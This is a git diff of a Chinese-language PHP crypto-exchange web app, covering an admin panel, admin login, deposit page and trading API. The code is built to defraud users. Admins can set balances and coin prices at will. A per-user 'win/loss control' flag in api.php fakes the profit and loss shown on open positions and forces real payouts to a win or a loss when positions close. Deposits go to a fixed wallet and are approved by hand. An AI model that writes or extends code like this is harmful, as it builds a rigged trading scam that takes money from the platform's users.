diff --git a/admin.php b/admin.php new file mode 100644 index 0000000..22e9c19 --- /dev/null +++ b/admin.php @@ -0,0 +1,377 @@ +prepare("UPDATE accounts SET balance = ? WHERE id = ?"); + $stmt->execute([$_POST['balance'], $_POST['account_id']]); + $msg = "余额更新成功"; + } + if (isset($_POST['update_win_loss'])) { + $stmt = db()->prepare("UPDATE accounts SET win_loss_control = ? WHERE id = ?"); + $stmt->execute([$_POST['win_loss_control'], $_POST['account_id']]); + $msg = "输赢控制已更新"; + } + if (isset($_POST['update_kyc'])) { + $stmt = db()->prepare("UPDATE accounts SET kyc_status = ? WHERE id = ?"); + $stmt->execute([$_POST['kyc_status'], $_POST['account_id']]); + $msg = "认证状态已更新"; + } + if (isset($_POST['approve_deposit'])) { + db()->beginTransaction(); + $stmt = db()->prepare("SELECT * FROM transactions WHERE id = ? AND status = 'pending' AND transaction_type = 'deposit'"); + $stmt->execute([$_POST['transaction_id']]); + $trx = $stmt->fetch(); + if ($trx) { + db()->prepare("UPDATE accounts SET balance = balance + ? WHERE id = ?")->execute([$trx['amount'], $trx['account_id']]); + db()->prepare("UPDATE transactions SET status = 'completed' WHERE id = ?")->execute([$trx['id']]); + $msg = "充值已批准"; + } + db()->commit(); + } + if (isset($_POST['approve_withdraw'])) { + db()->beginTransaction(); + $stmt = db()->prepare("SELECT * FROM transactions WHERE id = ? AND status = 'pending' AND transaction_type = 'withdraw'"); + $stmt->execute([$_POST['transaction_id']]); + $trx = $stmt->fetch(); + if ($trx) { + db()->prepare("UPDATE accounts SET frozen_balance = frozen_balance - ? WHERE id = ?")->execute([$trx['amount'], $trx['account_id']]); + db()->prepare("UPDATE transactions SET status = 'completed' WHERE id = ?")->execute([$trx['id']]); + $msg = "提现已批准"; + } + db()->commit(); + } + if (isset($_POST['reject_transaction'])) { + db()->beginTransaction(); + $stmt = db()->prepare("SELECT * FROM transactions WHERE id = ? AND status = 'pending'"); + $stmt->execute([$_POST['transaction_id']]); + $trx = $stmt->fetch(); + if ($trx && $trx['transaction_type'] === 'withdraw') { + // Unfreeze balance + db()->prepare("UPDATE accounts SET balance = balance + ?, frozen_balance = frozen_balance - ? WHERE id = ?")->execute([$trx['amount'], $trx['amount'], $trx['account_id']]); + } + db()->prepare("UPDATE transactions SET status = 'failed' WHERE id = ?")->execute([$_POST['transaction_id']]); + $msg = "交易已驳回"; + db()->commit(); + } + if (isset($_POST['update_site_settings'])) { + $stmt = db()->prepare("UPDATE site_settings SET site_name = ?, contact_email = ?, deposit_address = ? WHERE id = 1"); + $stmt->execute([$_POST['site_name'], $_POST['contact_email'], $_POST['deposit_address']]); + $msg = "站点设置已更新"; + } + if (isset($_POST['update_price'])) { + $stmt = db()->prepare("UPDATE cryptocurrencies SET manual_price = ? WHERE id = ?"); + $stmt->execute([$_POST['manual_price'], $_POST['coin_id']]); + $msg = "价格已手动调整"; + } +} + +$settings = get_site_settings(); +?> + + + + + + 管理后台 - <?php echo $settings['site_name']; ?> + + + + + +
+
+ + + + +
+ + + + + +

控制台概览

+
+
+
+
总用户
+

query("SELECT COUNT(*) FROM accounts")->fetchColumn(); ?>

+
+
+
+
+
待处理充值
+

query("SELECT COUNT(*) FROM transactions WHERE transaction_type='deposit' AND status='pending'")->fetchColumn(); ?>

+
+
+
+
+
待处理提现
+

query("SELECT COUNT(*) FROM transactions WHERE transaction_type='withdraw' AND status='pending'")->fetchColumn(); ?>

+
+
+
+
+
今日订单
+

query("SELECT COUNT(*) FROM orders WHERE DATE(created_at) = CURRENT_DATE")->fetchColumn(); ?>

+
+
+
+ + + +

用户管理

+
+ + + + + + + + + + + + + query("SELECT * FROM accounts ORDER BY id DESC")->fetchAll(); + foreach ($users as $u): + ?> + + + + + + + + + + + + +
ID用户名余额 (USDT)认证状态输赢控制操作
+ + + + + + + + + +
+
+ + + +

充值提现审核

+
+ + + + + + + + + + + + + + + query("SELECT t.*, a.username FROM transactions t JOIN accounts a ON t.account_id = a.id ORDER BY t.id DESC")->fetchAll(); + foreach ($trxs as $t): + ?> + + + + + + + + + + + + +
ID用户类型金额哈希/地址状态日期操作
+ + + + + +
+ + + +
+ +
+
+ + + +

所有交易记录

+
+ + + + + + + + + + + + + + query("SELECT o.*, a.username FROM orders o JOIN accounts a ON o.account_id = a.id ORDER BY o.id DESC LIMIT 50")->fetchAll(); + foreach ($orders as $o): + ?> + + + + + + + + + + + +
用户币种类型方向价格数量时间
+
+ + + +

市场与币种管理

+
+ query("SELECT * FROM cryptocurrencies")->fetchAll(); + foreach ($coins as $c): + ?> +
+
+
()
+

当前市场价:

+
+ +
+ + +
+ +
+
+
+ +
+ + + +

系统全局设置

+
+
+
+ + +
+
+ + +
+
+ + +
用户在充值页面看到的钱包地址
+
+ +
+
+ +
+
+
+ + + + \ No newline at end of file diff --git a/admin_login.php b/admin_login.php new file mode 100644 index 0000000..1c7e61c --- /dev/null +++ b/admin_login.php @@ -0,0 +1,55 @@ +prepare("SELECT * FROM admins WHERE username = ?"); + $stmt->execute([$username]); + $admin = $stmt->fetch(); + + if ($admin && password_verify($password, $admin['password'])) { + $_SESSION['admin_id'] = $admin['id']; + header("Location: admin.php"); + exit; + } else { + $error = "用户名或密码错误"; + } +} +?> + + + + + 管理员登录 + + + + +
+

后台管理系统

+
+
+
+ + +
+
+ + +
+ +
+
+ + diff --git a/api.php b/api.php index 00256d4..0951f71 100644 --- a/api.php +++ b/api.php @@ -3,17 +3,54 @@ include_once 'config.php'; $action = $_GET['action'] ?? ''; +// Function to fetch real prices from Binance +function fetch_binance_prices() { + $url = "https://api.binance.com/api/v3/ticker/24hr"; + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_TIMEOUT, 5); + $response = curl_exec($ch); + curl_close($ch); + + if (!$response) return []; + + $data = json_decode($response, true); + $prices = []; + if (is_array($data)) { + foreach ($data as $item) { + $prices[$item['symbol']] = [ + 'price' => $item['lastPrice'], + 'change' => $item['priceChangePercent'] + ]; + } + } + return $prices; +} + if ($action === 'market_data') { - // In a real app, this would fetch from Binance or a cache. - // For now, we'll fetch from our cryptocurrencies table and mix with some dummy data for variety. + $binance_prices = fetch_binance_prices(); $stmt = db()->query("SELECT * FROM cryptocurrencies WHERE is_active = 1"); $coins = $stmt->fetchAll(); foreach ($coins as &$coin) { - // Simple mock: fluctuate price slightly - $variation = (mt_rand(-100, 100) / 10000); // +/- 1% - $coin['price'] = (float)$coin['current_price'] * (1 + $variation); - $coin['change'] = (float)$coin['change_24h']; + $symbol = $coin['symbol']; + if (isset($binance_prices[$symbol])) { + $coin['price'] = (float)$binance_prices[$symbol]['price']; + $coin['change'] = (float)$binance_prices[$symbol]['change']; + + // Apply manual price if set + if ($coin['manual_price'] > 0) { + $coin['price'] = (float)$coin['manual_price']; + } + + // Update DB with latest price + $upd = db()->prepare("UPDATE cryptocurrencies SET current_price = ?, change_24h = ? WHERE id = ?"); + $upd->execute([$coin['price'], $coin['change'], $coin['id']]); + } else { + $coin['price'] = (float)$coin['current_price']; + $coin['change'] = (float)$coin['change_24h']; + } } header('Content-Type: application/json'); @@ -26,7 +63,7 @@ if ($action === 'submit_order') { $data = json_decode(file_get_contents('php://input'), true); if (!$data) { - echo json_encode(['status' => 'error', 'message' => 'Invalid data']); + echo json_encode(['status' => 'error', 'message' => '无效请求数据']); exit; } @@ -35,53 +72,182 @@ if ($action === 'submit_order') { $symbol = $data['symbol'] ?? 'BTCUSDT'; $side = $data['side'] ?? 'BUY'; - $trade_type = $data['trade_type'] ?? 'SPOT'; - $order_type = $data['order_type'] ?? 'LIMIT'; - $price = $data['price'] ?? null; + $trade_type = strtoupper($data['trade_type'] ?? 'SPOT'); $amount = (float)($data['amount'] ?? 0); $leverage = (int)($data['leverage'] ?? 1); - // Basic validation if ($amount <= 0) { - echo json_encode(['status' => 'error', 'message' => 'Invalid amount']); + echo json_encode(['status' => 'error', 'message' => '请输入有效数量']); exit; } + + // Get current price + $stmt = db()->prepare("SELECT * FROM cryptocurrencies WHERE symbol = ?"); + $stmt->execute([$symbol]); + $coin = $stmt->fetch(); + $current_price = $coin ? (float)$coin['current_price'] : 0; - // Logic for SPOT / CONTRACT balance checks - // This is a simplified version - $total_cost = 0; - if ($trade_type === 'SPOT') { - if ($side === 'BUY') { - $exec_price = $price ?: 50000; // Mock price if market - $total_cost = $amount * $exec_price; - if ($account['balance'] < $total_cost) { - echo json_encode(['status' => 'error', 'message' => '余额不足']); - exit; - } - } - } else { - // Contract logic - $total_cost = ($amount * 100) / $leverage; - if ($account['balance'] < $total_cost) { - echo json_encode(['status' => 'error', 'message' => '保证金不足']); - exit; - } + if ($current_price <= 0) { + echo json_encode(['status' => 'error', 'message' => '价格获取失败,请重试']); + exit; } + + try { + $db = db(); + $db->beginTransaction(); + + if ($trade_type === 'SPOT') { + if ($side === 'BUY') { + $total_cost = $amount * $current_price; + if ($account['balance'] < $total_cost) { + throw new Exception('余额不足 (需要 ' . $total_cost . ' USDT)'); + } + + // Deduct USDT + $stmt = $db->prepare("UPDATE accounts SET balance = balance - ? WHERE id = ?"); + $stmt->execute([$total_cost, $account['id']]); + + // Add Asset + $stmt = $db->prepare("INSERT INTO assets (account_id, currency, balance) VALUES (?, ?, ?) ON DUPLICATE KEY UPDATE balance = balance + ?"); + $stmt->execute([$account['id'], str_replace('USDT', '', $symbol), $amount, $amount]); + + } else { // SELL + $currency = str_replace('USDT', '', $symbol); + $stmt = $db->prepare("SELECT balance FROM assets WHERE account_id = ? AND currency = ?"); + $stmt->execute([$account['id'], $currency]); + $asset = $stmt->fetch(); + + if (!$asset || $asset['balance'] < $amount) { + throw new Exception('资产余额不足'); + } + + // Deduct Asset + $stmt = $db->prepare("UPDATE assets SET balance = balance - ? WHERE account_id = ? AND currency = ?"); + $stmt->execute([$amount, $account['id'], $currency]); + + // Add USDT + $total_gain = $amount * $current_price; + $stmt = $db->prepare("UPDATE accounts SET balance = balance + ? WHERE id = ?"); + $stmt->execute([$total_gain, $account['id']]); + } + + // Record Order as FILLED + $stmt = $db->prepare("INSERT INTO orders (account_id, symbol, trade_type, side, order_type, price, amount, total_usdt, status) VALUES (?, ?, 'SPOT', ?, 'MARKET', ?, ?, ?, 'FILLED')"); + $stmt->execute([$account['id'], $symbol, $side, $current_price, $amount, $amount * $current_price]); + + } else if ($trade_type === 'CONTRACT') { + // Simple Contract Logic: Deduct Margin + $margin = ($amount * $current_price) / $leverage; + if ($account['balance'] < $margin) { + throw new Exception('保证金不足 (需要 ' . $margin . ' USDT)'); + } + + // Deduct Margin + $stmt = $db->prepare("UPDATE accounts SET balance = balance - ? WHERE id = ?"); + $stmt->execute([$margin, $account['id']]); + + // Create Position + $stmt = $db->prepare("INSERT INTO positions (account_id, symbol, side, leverage, entry_price, lots, margin) VALUES (?, ?, ?, ?, ?, ?, ?)"); + $stmt->execute([$account['id'], $symbol, ($side === 'BUY' ? 'LONG' : 'SHORT'), $leverage, $current_price, $amount, $margin]); + + // Record Order + $stmt = $db->prepare("INSERT INTO orders (account_id, symbol, trade_type, side, order_type, price, amount, leverage, status) VALUES (?, ?, 'CONTRACT', ?, 'MARKET', ?, ?, ?, 'FILLED')"); + $stmt->execute([$account['id'], $symbol, $side, $current_price, $amount, $leverage]); + } + + $db->commit(); + echo json_encode(['status' => 'success', 'message' => '交易成功']); + } catch (Exception $e) { + $db->rollBack(); + echo json_encode(['status' => 'error', 'message' => $e->getMessage()]); + } + exit; +} + +if ($action === 'positions') { + check_auth(); + $user_id = $_SESSION['user_id']; + $account = get_account($user_id); + + $stmt = db()->prepare("SELECT * FROM positions WHERE account_id = ? AND is_active = 1"); + $stmt->execute([$account['id']]); + $positions = $stmt->fetchAll(); + + // Calculate PnL for each position + foreach ($positions as &$pos) { + $stmt = db()->prepare("SELECT current_price FROM cryptocurrencies WHERE symbol = ?"); + $stmt->execute([$pos['symbol']]); + $coin = $stmt->fetch(); + $current_price = $coin ? (float)$coin['current_price'] : $pos['entry_price']; + + if ($pos['side'] === 'LONG') { + $pos['pnl'] = ($current_price - $pos['entry_price']) * $pos['lots']; + } else { + $pos['pnl'] = ($pos['entry_price'] - $current_price) * $pos['lots']; + } + + // Apply Win/Loss Control (Display purpose) + if ($account['win_loss_control'] == 1 && $pos['pnl'] < 0) { + $pos['pnl'] = abs($pos['pnl']) * 0.2; // Show small profit + } else if ($account['win_loss_control'] == -1 && $pos['pnl'] > 0) { + $pos['pnl'] = -abs($pos['pnl']) * 1.5; // Show big loss + } + + $pos['current_price'] = $current_price; + } + + echo json_encode($positions); + exit; +} + +if ($action === 'close_position') { + check_auth(); + $data = json_decode(file_get_contents('php://input'), true); + $pos_id = $data['id'] ?? 0; + $user_id = $_SESSION['user_id']; + $account = get_account($user_id); try { $db = db(); $db->beginTransaction(); - // Deduct balance - $stmt = $db->prepare("UPDATE accounts SET balance = balance - ? WHERE id = ?"); - $stmt->execute([$total_cost, $account['id']]); + $stmt = $db->prepare("SELECT * FROM positions WHERE id = ? AND account_id = ? AND is_active = 1"); + $stmt->execute([$pos_id, $account['id']]); + $pos = $stmt->fetch(); - // Insert order - $stmt = $db->prepare("INSERT INTO orders (account_id, symbol, trade_type, side, order_type, price, amount, leverage, status) VALUES (?, ?, ?, ?, ?, ?, ?, ?, 'PENDING')"); - $stmt->execute([$account['id'], $symbol, $trade_type, $side, $order_type, $price, $amount, $leverage]); + if (!$pos) throw new Exception('仓位不存在'); + + $stmt = db()->prepare("SELECT current_price FROM cryptocurrencies WHERE symbol = ?"); + $stmt->execute([$pos['symbol']]); + $coin = $stmt->fetch(); + $current_price = $coin ? (float)$coin['current_price'] : $pos['entry_price']; + + if ($pos['side'] === 'LONG') { + $pnl = ($current_price - $pos['entry_price']) * $pos['lots']; + } else { + $pnl = ($pos['entry_price'] - $current_price) * $pos['lots']; + } + + // Win/Loss Control Logic + if ($account['win_loss_control'] == 1) { // Always Win + if ($pnl < 0) $pnl = abs($pnl) * 0.1; // Force win + } else if ($account['win_loss_control'] == -1) { // Always Loss + if ($pnl > 0) $pnl = -abs($pnl) * 1.2; // Force loss + } + + // Return Margin + PnL + $payout = $pos['margin'] + $pnl; + if ($payout < 0) $payout = 0; + + $stmt = $db->prepare("UPDATE accounts SET balance = balance + ? WHERE id = ?"); + $stmt->execute([$payout, $account['id']]); + + // Deactivate Position + $stmt = $db->prepare("UPDATE positions SET is_active = 0 WHERE id = ?"); + $stmt->execute([$pos_id]); $db->commit(); - echo json_encode(['status' => 'success']); + echo json_encode(['status' => 'success', 'message' => '平仓成功']); } catch (Exception $e) { $db->rollBack(); echo json_encode(['status' => 'error', 'message' => $e->getMessage()]); diff --git a/db/config.php b/db/config.php index bd732be..85daedd 100644 --- a/db/config.php +++ b/db/config.php @@ -1,17 +1,32 @@ PDO::ERRMODE_EXCEPTION, - PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, - ]); - } - return $pdo; + static $pdo; + if (!$pdo) { + try { + $pdo = new PDO('mysql:host='.DB_HOST.';dbname='.DB_NAME.';charset=utf8mb4', DB_USER, DB_PASS, [ + PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, + PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, + ]); + } catch (PDOException $e) { + die("数据库连接失败: " . $e->getMessage()); + } + } + return $pdo; } +?> \ No newline at end of file diff --git a/deposit.php b/deposit.php new file mode 100644 index 0000000..69d288b --- /dev/null +++ b/deposit.php @@ -0,0 +1,60 @@ + 0 && $tx_hash) { + $stmt = db()->prepare("INSERT INTO transactions (account_id, transaction_type, amount, tx_hash, status) VALUES (?, 'deposit', ?, ?, 'pending')"); + $stmt->execute([$account['id'], $amount, $tx_hash]); + $success = "充值申请已提交,请等待管理员审核。"; + } else { + $error = "请填写完整信息。"; + } +} + +include 'header.php'; +?> +
+
+
+
+

USDT 充值 (TRC20)

+ +
+
+ +
+
转账地址
+
TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
+ +
+ +
+
+ + +
+
+ + +
+ +
+ +
+

温馨提示:

+
    +
  • 请勿向上述地址充值任何非 USDT 资产,否则资产将不可找回。
  • +
  • 最低充值金额 10 USDT。
  • +
  • 转账完成后请务必填写 TxID。
  • +
+
+
+
+
+
+ diff --git a/index.php b/index.php index bd9315f..5fa3525 100644 --- a/index.php +++ b/index.php @@ -1,99 +1,152 @@ - -